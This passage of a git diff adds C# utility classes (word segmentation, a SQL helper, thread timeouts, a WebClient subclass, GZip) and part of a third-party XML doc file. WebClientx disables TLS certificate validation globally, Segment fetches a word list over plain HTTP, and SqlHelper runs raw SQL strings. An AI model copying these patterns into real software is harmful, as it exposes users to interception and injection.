Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)]; + char add = SignWordBase[new Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)]; + if (begin) + name += " " + w + add; + else + name = add + w + " " + name; + return name; + } + } +} diff --git a/AllBase/Segment.cs b/AllBase/Segment.cs new file mode 100644 index 0000000..088ef59 --- /dev/null +++ b/AllBase/Segment.cs @@ -0,0 +1,425 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; + +namespace AllBase +{ + public class Segment + { + private static Dictionary> WordList = new Dictionary>(); + + /// + /// 关键词队列 + /// + private string words = " "; + + /// + /// 获取绝对地址 + /// + /// + private static string GetPatch() + { + string patch = Process.GetCurrentProcess().MainModule.FileName; + string[] l = patch.Split('\\'); + patch = ""; + for (int i = 0; i < l.Length - 1; i++) + patch += l[i] + "\\"; + return patch; + } + /// + /// 初始化 + /// + public static void Int() + { + //MysqlHelper.ErrorString += "正在初始化分词库\r\n"; + string f = GetPatch() + "\\Segment.dll"; + if (!File.Exists(f)) + GetHtml.DownloadFile("http://dl.1n11.com/Segment.xml", f); + if (!File.Exists(f)) + { + BaseClass.ViewCode += "分词库加载失败,请前往官网下载完整版本"; + return; + } + if (WordList.Count > 0) + return; + for (int i = 2; i < 10; i++) + { + List w = new List(); + WordList.Add(i, w); + } + string[] l = File.ReadAllLines(f, Encoding.UTF8); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + string key = l[i]; + if (key.Contains("\t") && key.IndexOf("\t")>0) + key = key.Substring(0, key.IndexOf("\t")); + if (key.Length < 2 || key.Length > 8) + continue; + WordList[key.Length].Add(key); + } + } + /// + /// 二分法提取关键词 + /// + /// + /// + /// + /// + private void GetKeywordList(int len, ref List WordList, string html, ref List word) + { + string temp = ""; + for (int i = 0; i <= html.Length - len; ) + { + temp = html.Substring(i, len); + if (!temp.Contains(" ") && Dichotomy(temp, ref WordList)) + { + AddWord(temp, ref word); + i += len; + continue; + } + i++; + } + } + + + /// + /// 分词 + /// + /// + /// + public List Get(string html) + { + if (string.IsNullOrEmpty(html)) + return null; + words = " "; + //WordList.Clear(); + html = html.ToLower(); + if (html.Length > 20000) + html = html.Substring(0, 20000); + BaseRegex.Relpace(ref html, @"(&[\w]+;)", " "); + BaseRegex.Relpace(ref html, @"([ ]{2,2000})", " "); + if (WordList.Count == 0) + { + BaseClass.ViewCode += "分词库为空,请检查系统是否正常"; + return null; + } + + byte[] b = Encoding.UTF8.GetBytes(html); + //===============先处理特殊字符================// + for (int i = 9; i > 1; i--) + GetKeywords2(WordList[i], ref b, i * 3); + + //GetKeywords2(ref WordList2, ref b, 6); + string[] l = new[] + { + @"((http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?)", + @"([-a-z0-9\.@]+)" + + }; + for (int i = 0; i < l.Length; i++) + { + var m = BaseRegex.GetMatchRegex(ref html, l[i]); + AddKeyword(ref m); + } + List word = ReturnList(); + if (html.Length > 15000 || word.Count > 3000) //太长则不执行消耗资源的自动学习功能 + return word; + + //==========自动学习关键词=========// + for (int i = 0; i < word.Count; i++) + html = html.Replace(word[i], " "); + html = html.Replace("的", " "); + BaseRegex.Relpace(ref html, @"([ ]+)", " "); + char t; + for (int i = 0; i < html.Length; i++) + { + t = char.Parse(html.Substring(i, 1)); + if (t != ' ' && !IsChineseWord(t)) + html = html.Replace(t.ToString(), " "); + } + BaseRegex.Relpace(ref html, @"([ ]+)", " "); + if (string.IsNullOrEmpty(html)) + return word; + string[] li = html.Split(' '); + //========关键词长度倒排=========// + for (int i = 0; i < li.Length; i++) + { + for (int j = i; j < li.Length; j++) + { + if (li[i].Length < li[j].Length) + { + string x = li[i]; + li[i] = li[j]; + li[j] = x; + } + } + } + for (int i = 0; i < li.Length; i++) + { + string key = li[i]; + if (key.Length <= 1 || key.Length > 4) + continue; + if (!IsWordList(key)) + continue; + AddWord(key, ref word); + } + return word; + } + /// + /// 返回列表 + /// + /// + private List ReturnList() + { + List w = new List(); + if (string.IsNullOrEmpty(words)) + return w; + string[] l = words.Split(' '); + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + w.Add(s); + } + return w; + } + /// + /// 正则添加到队列 + /// + /// + private void AddKeyword(ref MatchCollection m) + { + for (int i = 0; m != null && i < m.Count; i++) + AddWordx(m[i].Groups[0].Value); + } + /// + /// 字符串中是否包含中文 + /// + /// + /// + public static bool HadChineseWord(ref string words) + { + if(string.IsNullOrEmpty(words)) + return false; + var b = Encoding.UTF8.GetBytes(words); + foreach (byte b1 in b) + if(b1>227 && b1<235) + return true; + return false; + } + + /// + /// 软加速 + /// + /// 关键词队列 + /// 二进制文章 + /// 二进制长度 + private void GetKeywords2(List WordList, ref byte[] b, int len) + { + string t; + for (int i = 0; i < b.Length - len; i++) + { + switch (len) + { + case 6: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227) + goto Add; + break; + case 9: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227) + goto Add; + break; + case 12: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227) + goto Add; + break; + case 15: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227) + goto Add; + break; + case 18: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227) + goto Add; + break; + case 21: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227 + && b[i + 18] < 235 && b[i + 18] > 227) + goto Add; + break; + case 24: + case 27: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227 + && b[i + 18] < 235 && b[i + 18] > 227 && b[i + 21] < 235 && b[i + 21] > 227) + goto Add; + break; + } + continue; + Add: + t = Encoding.UTF8.GetString(b, i, len); + if (Dichotomy(t, ref WordList)) + { + AddWordx(t); + i += len - 1; + } + } + } + /// + /// 添加关键词到列 + /// + /// + private void AddWordx(string keyword) + { + if (words.Contains(" " + keyword + " ")) + return; + words += keyword + " "; + } + + /// + /// 二分法关键词是否存在 + /// + /// 关键词 + /// + public bool Dichotomy(string word, ref List WordList) + { + if (WordList.Count < 1) + return false; + int start = 0, end = WordList.Count - 1, middle = 0, ok = 0; + while (start != end) + { + middle = (start + end) / 2; + ok = string.Compare(word, WordList[middle], true); + if (ok == 0) + return true; + if (ok == 1) + start = middle; + else + end = middle; + if (start + 1 == end) + { + if (string.Compare(word, WordList[end], true) == 0) + return true; + return false; + } + } + return false; + } + + /// + /// 读取正则结果列表 + /// + /// + /// + private void GetMatch(ref MatchCollection m, ref List word, ref string html) + { + for (int i = 0; i < m.Count; i++) + if (AddWord(m[i].Groups[0].Value, ref word)) + html = html.Replace(m[i].Groups[0].Value, " "); + } + + + /// + /// 添加关键词到列 + /// + /// + /// + private bool AddWord(string keyword, ref List word) + { + bool had = false; + for (int i = 0; i < word.Count; i++) + { + if (word[i] == keyword) + { + had = true; + break; + } + } + if (!had) + { + string b = keyword; + word.Add(b); + } + return !had; + } + + /// + /// 是否是中文字符串列 + /// + /// + /// + public static bool IsWordList(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsWord(xj[j])) + return false; + return true; + } + /// + /// 是否是汉字串列 + /// + /// + /// + public static bool IsChineseWord(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsChineseWord(xj[j])) + return false; + return true; + } + + /// + /// 是否是字符 + /// + /// + /// + private static bool IsWord(int ascii) + { + if (ascii == 32 || ascii == 35) //空格 + return true; + if (ascii < 58 && ascii > 47) //数字 + return true; + if (ascii < 91 && ascii > 64) //小写字母 + return true; + if (ascii < 123 && ascii > 96) //大写字母 + return true; + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + /// + /// 是否是汉字 + /// + /// + /// + private static bool IsChineseWord(int ascii) + { + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + + /// + /// 清理多余空格 + /// + /// + /// + private string ClearToMust(string html) + { + html = html.Replace(" ", " ").Replace(" ", " ").Replace(" ", " ").Replace(" ", " "); + return html.Replace(" ", " ").Replace(" ", " ").Trim(); + } + + + + } +} diff --git a/AllBase/SqlHelper.cs b/AllBase/SqlHelper.cs new file mode 100644 index 0000000..df84dc4 --- /dev/null +++ b/AllBase/SqlHelper.cs @@ -0,0 +1,284 @@ +using System; +using System.Data; +using System.Data.SqlClient; +using System.IO; +using System.Threading; + + +namespace AllBase +{ + public class SqlHelper + { + /// + /// 数据库链接串 + /// + private string ConnString = ""; + /// + /// 是否已经链接成功 + /// + public bool Connected { + get { return Connection != null && Connection.State == ConnectionState.Open; } + } + /// + /// 数据库链接 + /// + private SqlConnection Connection =null; + /// + /// 执行超时 + /// + public int TimeOut = 100; + + public SqlHelper(string conn) + { + ConnString = conn; + ConnTo(); + } + + public string Replace(string key) + { + return key.Replace("'", "''"); + } + + /// + /// 执行指定数据库连接对象的命令 + /// + /// T存储过程名称或T-SQL语句 + /// 返回影响的行数 + public int ExecuteNonQuery(string sql) + { + SqlCommand cmd = PrepareCommand(sql); + try + { + // Finally, execute the command + int retval = cmd.ExecuteNonQuery(); + return retval; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return 0; + } + /// + /// 获取插入ID + /// + /// + /// + public int InsertId(string sql) + { + sql += ";SELECT @@IDENTITY"; + string id = ExecuteFirst(sql); + int i = 0; + int.TryParse(id, out i); + return i; + } + /// + /// 是否存在 + /// + /// + /// + public bool Exists(string sql) + { + string id = ExecuteFirst(sql); + return !string.IsNullOrEmpty(id); + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataSet ExecuteDataset(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataSet ds = new DataSet(); + // 填充DataSet. + da.Fill(ds); + cmd.Parameters.Clear(); + return ds; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return null; + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataTable ExecuteDataTable(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + cmd.Parameters.Clear(); + return ds; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return null; + + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataRow ExecuteDataTableRow(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + if (ds.Rows.Count > 0) + return ds.Rows[0]; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + + return null; + + } + + /// + /// 执行指定数据库连接对象的命令,指定参数,返回结果集中的第一行第一列. + /// + /// 存储过程名称或T-SQL语句 + /// 返回结果集中的第一行第一列 + public string ExecuteFirst(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + SqlDataAdapter da = new SqlDataAdapter(cmd); + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + // 执行SqlCommand命令,并返回结果. + var retval = cmd.ExecuteScalar(); + + return retval==null?"": retval.ToString(); + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return ""; + } + + + + /// + /// 预处理用户提供的命令,数据库连接/事务/命令类型/参数 + /// + /// 存储过程名或都T-SQL命令文本 + private SqlCommand PrepareCommand(string commandText) + { + SqlCommand command = new SqlCommand(); + if (Connection.State != ConnectionState.Open) + ConnTo(); + + command.Connection = Connection; + command.CommandText = commandText; + command.CommandType = CommandType.Text; + command.CommandTimeout = TimeOut; + return command; + } + + /// + /// 针对不同错误,执行不同的修正 + /// + /// + private void ErrorDoing(string message, string sql) + { + if (string.IsNullOrEmpty(message)) + return; + if (message.Contains("Incorrect string value")) + return; + if (message.Contains("Connection must be valid and open")) + ConnTo(); + if (message.Contains("There is already an open DataReader")) + { + Thread.Sleep(500); + ConnTo(); + } + if (message.Contains("Fatal error encountered during command execution.")) + ConnTo(); + if (message.Contains(" StreamWriter ") || message.Contains("未将对象引用设置到对象的实例") || message.Contains("未将对象")) + ConnTo(); + LogSave.Add("执行SQL:"+sql+" 错误:"+message); + Random ra = new Random(Guid.NewGuid().GetHashCode()); + Thread.Sleep(ra.Next(200, 2000)); + } + + /// + /// 链接数据库 + /// + private void ConnTo() + { + try + { + Connection = new SqlConnection(ConnString); + Connection.Open(); + } + catch (Exception e) + { + ErrorDoing(e.Message,ConnString); + } + + } + + /// + /// 关闭链接 + /// + public void Close() + { + try + { + Connection.Close(); + } + catch (Exception e) + { + + + } + } + + + } + + +} diff --git a/AllBase/TempFileReadWrite.cs b/AllBase/TempFileReadWrite.cs new file mode 100644 index 0000000..283c78d --- /dev/null +++ b/AllBase/TempFileReadWrite.cs @@ -0,0 +1,73 @@ +/* + * 临时文件自动存储管理 + * 肖俊 + * 2017-7-11 + * + */ +using System; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public class TempFileReadWritex + { + private static string MainPath = Application.StartupPath + "\\temp\\"; + /// + /// 写入临时文件 + /// + /// ID + /// 类型:content / desc + /// 内容 + public static void Write(long id, string type, string content) + { + string path = MainPath + type + "\\" + (id % 1024) + "\\"; + FileBase.DirectoryCreate(path); + string file = path + id + ".tjm"; + FileBase.WriteAllText(file, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss\r\n")); + FileBase.AppendAllText(file, content, Encoding.UTF8); + } + + /// + /// 读取临时文件 + /// + /// ID + /// 类型:content / desc + /// 读取成功 + /// + public static string Read(long id, string type, out bool hadFile) + { + return Read(id, type, out hadFile, BaseClass.TempSecond); + } + + /// + /// 读取临时文件 + /// + /// ID + /// 类型:content / desc + /// 读取成功 + /// 过期时间,秒 + /// + public static string Read(long id, string type, out bool hadFile, int useTime) + { + hadFile = false; + string path = MainPath + type + "\\" + (id % 1024) + "\\"; + if (!FileBase.Exists(path)) + return null; + string conent = FileBase.ReadAllText(path); + if (conent.Length < 21) + return null; + string date = conent.Substring(0, 19); + DateTime saveTime; + if (!DateTime.TryParse(date, out saveTime)) + return null; + double second = (DateTime.Now - saveTime).TotalSeconds; + if (second < useTime) + { + hadFile = true; + return conent.Substring(21); + } + return null; + } + } +} diff --git a/AllBase/Threadx.cs b/AllBase/Threadx.cs new file mode 100644 index 0000000..a4e7c83 --- /dev/null +++ b/AllBase/Threadx.cs @@ -0,0 +1,240 @@ +/* + * 带超时的线程管理 + * 肖俊 + * 2014-8-21 + */ + +using System; +using System.Collections.Generic; +using System.Threading; + +namespace AllBase +{ + /// + /// 带超时的线程管理 + /// + public class Threadx + { + /// + /// 超时:秒 + /// + public int TimeOut = 30; + /// + /// 主线程 + /// + private Thread t=null; + /// + /// 判断是否结束线程 + /// + private Thread te = null; + /// + /// 启动时间 + /// + public DateTime StartTime; + /// + /// 是否存活 + /// + public bool IsActive { get { + try + { + return (t == null ? false : t.IsAlive); + } + catch + { + return false; + } + } } + /// + /// 线程名称 + /// + public string Name = ""; + /// + /// 初始化 + /// + /// 要启动的线程 + public Threadx(Thread ts) + { + t = ts; + te = new Thread(End); + } + /// + /// 初始化 + /// + /// 要启动的线程 + /// 启动时间 + public Threadx(Thread ts, DateTime dt) + { + StartTime = dt; + t = ts; + Start(); + } + /// + /// 初始化+立即启动 + /// + /// 要启动的线程 + /// 超时 + public Threadx(Thread ts, int timeOut) + { + t = ts; + TimeOut = timeOut; + te = new Thread(End); + Start(); + } + /// + /// 初始化+立即启动 + /// + /// 要启动的线程 + /// 超时 + /// 名称 + public Threadx(Thread ts, int timeOut, string name) + { + Name = name; + t = ts; + TimeOut = timeOut; + te = new Thread(End); + Start(); + } + /// + /// 启动,以最低优先级运行 + /// + public void Start() + { + StartTime = DateTime.Now; + if(t==null || t.IsAlive) + return; + try + { + t.Priority = ThreadPriority.Lowest; + t.Start(); + if(te==null) + return; + te.Priority = ThreadPriority.BelowNormal; + te.Start(); + } + catch + { + Abort(); + } + } + + /// + /// 终止线程 + /// + public void Abort() + { + try + { + if (t != null && t.IsAlive) + t.Abort(); + if(te!=null && te.IsAlive) + te.Abort(); + t = null; + te = null; + } + catch + { + } + } + + /// + /// 判断超时与自动结束 + /// + private void End() + { + if(t==null) + return; + int i = 0; + while (t!=null && t.IsAlive && i < 10 * TimeOut) + { + Thread.Sleep(100); + i++; + } + if (t != null && t.IsAlive) + Abort(); + } + + /// + /// 线程队列批量启动与执行超时控制 + /// + /// 线程队列 + /// 超时(单位秒) + /// 启动等待(单位毫秒) + public static void ThreadListTimeOut(ref List ts, int timeOut, int sleep) + { + if (timeOut < 1) + return; + try + { + int i; + for (i = 0; i < ts.Count; i++) + { + if(!ts[i].IsAlive) + ts[i].Start(); + if (sleep > 0 && i < ts.Count - 1) + Thread.Sleep(sleep); + } + i = 0; + while (ts.Count > 0 && i < 1000) + { + if (ts[0] == null || !ts[0].IsAlive) + ts.RemoveAt(0); + Thread.Sleep(timeOut); + i++; + } + while (ts.Count > 0) + { + try + { + if (ts[0] != null && ts[0].IsAlive) + ts[0].Abort(); + } + catch + { + } + ts.RemoveAt(0); + } + } + catch + { + } + } + + /// + /// 等待队列 + /// + /// 线程队列 + /// 新增线程 + /// 线程总数 + public static void ThreadListWait(ref List ts, Thread t, int count) + { + //t.SetApartmentState(ApartmentState.MTA); + t.IsBackground = true; + t.Start(); + ts.Add(t); + if (ts.Count < count) + return; + while (ts.Count >= count) + { + for (int i = 0; i < ts.Count; i++) + { + if (ts[i] == null || !ts[i].IsAlive) + ts.RemoveAt(i); + } + Thread.Sleep(10); + } + } + /// + /// 等待队列完全结束 + /// + /// 线程队列 + public static void ThreadListWait(ref List ts) + { + while (ts.Count > 0) + { + if (ts[0] == null || !ts[0].IsAlive) + ts.RemoveAt(0); + Thread.Sleep(10); + } + } + } +} diff --git a/AllBase/TreadTime.cs b/AllBase/TreadTime.cs new file mode 100644 index 0000000..74d7831 --- /dev/null +++ b/AllBase/TreadTime.cs @@ -0,0 +1,49 @@ + +using System; +using System.Threading; + +namespace AllBase +{ + public class ThreadTime + { + public Thread t; + public DateTime StartTime; + public bool IsAlive + { + get + { + try + { + return (t == null ? false : t.IsAlive); + } + catch + { + return false; + } + } + } + + public ThreadTime(Thread _t) + { + t = _t; + } + public void Start() + { + t.Priority = ThreadPriority.BelowNormal; + t.Start(); + StartTime = DateTime.Now; + } + public void Abort() + { + try + { + if(t.IsAlive) + t.Abort(); + } + catch + { + } + } + + } +} diff --git a/AllBase/WebClientx.cs b/AllBase/WebClientx.cs new file mode 100644 index 0000000..7012f00 --- /dev/null +++ b/AllBase/WebClientx.cs @@ -0,0 +1,125 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Cache; +using System.Net.Security; +using System.Security.Cryptography.X509Certificates; + +namespace AllBase +{ + /// + /// 下载器 + /// + public class WebClientx : WebClient + { + /// + /// 默认超时多少秒 + /// + public int Timeout = 100; + /// + /// 允许自动重定向 + /// + public bool AllowAutoRedirect = true; + public bool IsDelete = false; + + private string OutIP = ""; + /// + /// 证书列表 + /// + public static List X509List = new List(); + /// + /// 绑定IP + /// + /// + public WebClientx(string outIp) + { + OutIP = outIp; + CachePolicy = new RequestCachePolicy(RequestCacheLevel.NoCacheNoStore); + } + + public WebClientx() + { + Proxy = null; + } + /// + /// 重写 + /// + /// + /// + protected override WebRequest GetWebRequest(Uri address) + { + string s = address.ToString(); + if (string.IsNullOrEmpty(s) || s.Length < 7 || !(s.Substring(0, 7).ToLower() == "http://" || s.Substring(0, 8).ToLower() == "https://")) + return null; + var request = (HttpWebRequest)base.GetWebRequest(address); + request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip; + request.Timeout = 1000 * Timeout; + request.ReadWriteTimeout = 500 * Timeout; + request.AllowAutoRedirect = AllowAutoRedirect; + if (IsDelete) + request.Method = "DELETE"; + if (!string.IsNullOrEmpty(OutIP)) + { + request.ServicePoint.BindIPEndPointDelegate = (servicePoint, remoteEndPoint, retryCount) => + { + servicePoint.MaxIdleTime = 20; + return new IPEndPoint(IPAddress.Parse(OutIP), 0); + }; + } + if (request.RequestUri.Scheme == "https") //挂接验证服务端证书的回调 + { + X509Certificate2 x509c = null; + for (int i = 0; i < X509List.Count; i++) + { + if (X509List[i].Domain.ToLower() == address.Host.ToLower()) + { + x509c = X509List[i].X509; + break; + } + } + if (x509c == null) + { + ServicePointManager.ServerCertificateValidationCallback = + new RemoteCertificateValidationCallback(RemoteCertificateValidationCallback); + X509Store _store = new X509Store(StoreName.My, StoreLocation.LocalMachine); + _store.Open(OpenFlags.ReadWrite); + string findValue = Dns.GetHostName(); //获取本地主机名称作为证书查找的参数 + X509Certificate2Collection _certsCollection = + _store.Certificates.Find(X509FindType.FindByIssuerName, findValue, false); + if (_certsCollection.Count > 0) + { + x509c = _certsCollection[0]; + request.ClientCertificates.Add(x509c); + } + } + } + return request; + } + /// + /// 获取证书 + /// + /// + /// + /// + /// + /// + public bool RemoteCertificateValidationCallback(Object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { + return true; + } + } + /// + /// 网站证书 + /// + public class Certificate + { + /// + /// 域名 + /// + public string Domain { get; set; } + /// + /// 证书 + /// + public X509Certificate2 X509 { get; set; } + } +} diff --git a/AllBase/ZipHelper.cs b/AllBase/ZipHelper.cs new file mode 100644 index 0000000..6ebe5a7 --- /dev/null +++ b/AllBase/ZipHelper.cs @@ -0,0 +1,141 @@ +using System; +using System.IO; +using System.IO.Compression; +//using ICSharpCode.SharpZipLib.Zip; + +namespace AllBase +{ + public static class ZipHelper + { + /// + /// GZip压缩 + /// + /// + /// + public static byte[] Compress(byte[] rawData) + { + if (rawData == null || rawData.Length < 1000) + return rawData; + MemoryStream ms = new MemoryStream(); + GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Compress, true); + compressedzipStream.Write(rawData, 0, rawData.Length); + compressedzipStream.Close(); + return ms.ToArray(); + } + + /// + /// ZIP解压 + /// + /// + /// + public static byte[] Decompress(byte[] zippedData) + { + if (zippedData == null || zippedData.Length == 0) + return null; + if (zippedData.Length < 100) + return zippedData; + if (zippedData[2] != 0x8 || zippedData[3] != 0x0 || zippedData[4] != 0x0 + || zippedData[5] != 0x0 || zippedData[6] != 0x0 || zippedData[7] != 0x0 + || zippedData[0] != 31 || zippedData[1] != 139)//软加速判断头尾是否正确 + return zippedData; + try + { + MemoryStream ms = new MemoryStream(zippedData); + GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Decompress); + MemoryStream outBuffer = new MemoryStream(); + byte[] block = new byte[1024]; + while (true) + { + int bytesRead = compressedzipStream.Read(block, 0, block.Length); + if (bytesRead < 1) + break; + outBuffer.Write(block, 0, bytesRead); + } + compressedzipStream.Close(); + return outBuffer.ToArray(); + } + catch + { + } + return zippedData; + } + /// + /// 解压文件到指定文件夹 + /// + /// 压缩文件 + /// 目标文件夹,如果为空则解压到当前文件夹下 + /// 密码 + /// + //public static bool DecomparessFile(string sourceFile, string destinationDirectory = null, string password = null) + //{ + // bool result = false; + // int BufferSize = 1024*128; + // if (!File.Exists(sourceFile)) + // { + // return false; + // } + + // if (string.IsNullOrWhiteSpace(destinationDirectory)) + // { + // destinationDirectory = Path.GetDirectoryName(sourceFile); + // } + + // try + // { + // if (!Directory.Exists(destinationDirectory)) + // { + // Directory.CreateDirectory(destinationDirectory); + // } + + // using (ZipInputStream zipStream = new ZipInputStream(File.Open(sourceFile, FileMode.Open, + // FileAccess.Read, FileShare.Read))) + // { + // zipStream.Password = password; + // ZipEntry zipEntry = zipStream.GetNextEntry(); + + // while (zipEntry != null) + // { + // if (zipEntry.IsDirectory)//如果是文件夹则创建 + // { + // Directory.CreateDirectory(Path.Combine(destinationDirectory, + // Path.GetDirectoryName(zipEntry.Name))); + // } + // else + // { + // string fileName = Path.GetFileName(zipEntry.Name); + // if (!string.IsNullOrEmpty(fileName) && fileName.Trim().Length > 0) + // { + // FileInfo fileItem = new FileInfo(Path.Combine(destinationDirectory, zipEntry.Name)); + // using (FileStream writeStream = fileItem.Create()) + // { + // byte[] buffer = new byte[BufferSize]; + // int readLength = 0; + + // do + // { + // readLength = zipStream.Read(buffer, 0, BufferSize); + // writeStream.Write(buffer, 0, readLength); + // } while (readLength == BufferSize); + + // writeStream.Flush(); + // writeStream.Close(); + // } + // fileItem.LastWriteTime = zipEntry.DateTime; + // } + // } + // zipEntry = zipStream.GetNextEntry();//获取下一个文件 + // } + + // zipStream.Close(); + // } + // result = true; + // } + // catch (System.Exception ex) + // { + // throw new Exception("文件解压发生错误", ex); + // } + + // return result; + //} + } +} diff --git a/AllBase/packages.config b/AllBase/packages.config new file mode 100644 index 0000000..f26b9f4 --- /dev/null +++ b/AllBase/packages.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/DllReference/DevComponents.DotNetBar2.dll b/DllReference/DevComponents.DotNetBar2.dll new file mode 100644 index 0000000..57d38f5 Binary files /dev/null and b/DllReference/DevComponents.DotNetBar2.dll differ diff --git a/DllReference/DevComponents.DotNetBar2.xml b/DllReference/DevComponents.DotNetBar2.xml new file mode 100644 index 0000000..dfc91fa --- /dev/null +++ b/DllReference/DevComponents.DotNetBar2.xml @@ -0,0 +1,80946 @@ + + + + DevComponents.DotNetBar2 + + + + + Represents advanced multi-column Tree control. + + + + + Specifies the notification interface that node uses to communicate status changes to it's parent tree. + + + + Called when Node.Expanded property has changed. + Node which Expanded property has changed. + + + Called before node is collapsed + Context information. + + + Called before node is expanded + Context information. + + + Called after node is collapsed. + Context information. + + + Called after node is expanded + Context information + + + + Required designer variable. + + + + + Raises Render event. + + Provides event arguments. + + + Creates new instance of the class. + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets the current renderer used by the control. + + Reference to the TreeRenderer used by the control. + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Invalidates node bounds on canvas. + + Reference node. + + + + Invalidates node bounds on canvas. + + Reference node. + + + + Finds the node based on the Node.Name property. + + Name of the node to find. + Reference to a node with given name or null if node cannot be found. + + + + Finds the node based on the Node.DataKey property. + + Data key to look for. + Reference to a node with given key or null if node cannot be found. + + + + Finds the node based on the Node.BindingIndex property. + + Index to look for. + Reference to a node with given key or null if node cannot be found. + + + + Finds the first node that starts with the specified text. Node.Text property is searched. + + Partial text to look for + Reference to a node or null if no node is found. + + + + Finds the first node where each Node.Cell[0:n].Text value starts with the + respective value found in the comma delimited 'text' string. + + Comma delimited partial text to look for + Reference to a node or null if no node is found. + + + + Finds the first node that starts with the specified text. Node.Text property is searched. + + Partial text to look for + Controls whether case insensitive search is performed + Reference to a node or null if no node is found. + + + + Finds the first node where each Node.Cell[0:n].Text value starts with the + respective value found in the comma delimited 'text' string. + + Comma delimited partial text to look for + Controls whether case insensitive search is performed + Reference to a node or null if no node is found. + + + + Finds the first node that starts with the specified text. Node.Text property is searched. + + Partial text to look for + Reference node to start searching from + Controls whether case insensitive search is performed + Reference to a node or null if no node is found. + + + + Finds the first node where each Node.Cell[0:n].Text value starts with the + respective value found in the comma delimited 'text' string. + + Comma delimited partial text to look for + Reference node to start searching from + Controls whether case insensitive search is performed + Reference to a node or null if no node is found. + + + + Indicates whether SelectionBoxFillColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets SelectionBoxFillColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether ExpandBorderColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets ExpandBorderColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether ExpandBackColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets ExpandBackColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether ExpandBackColor2 should be serialized. Used by windows forms designer design-time support. + + + + + Resets ExpandBackColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether ExpandLineColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets 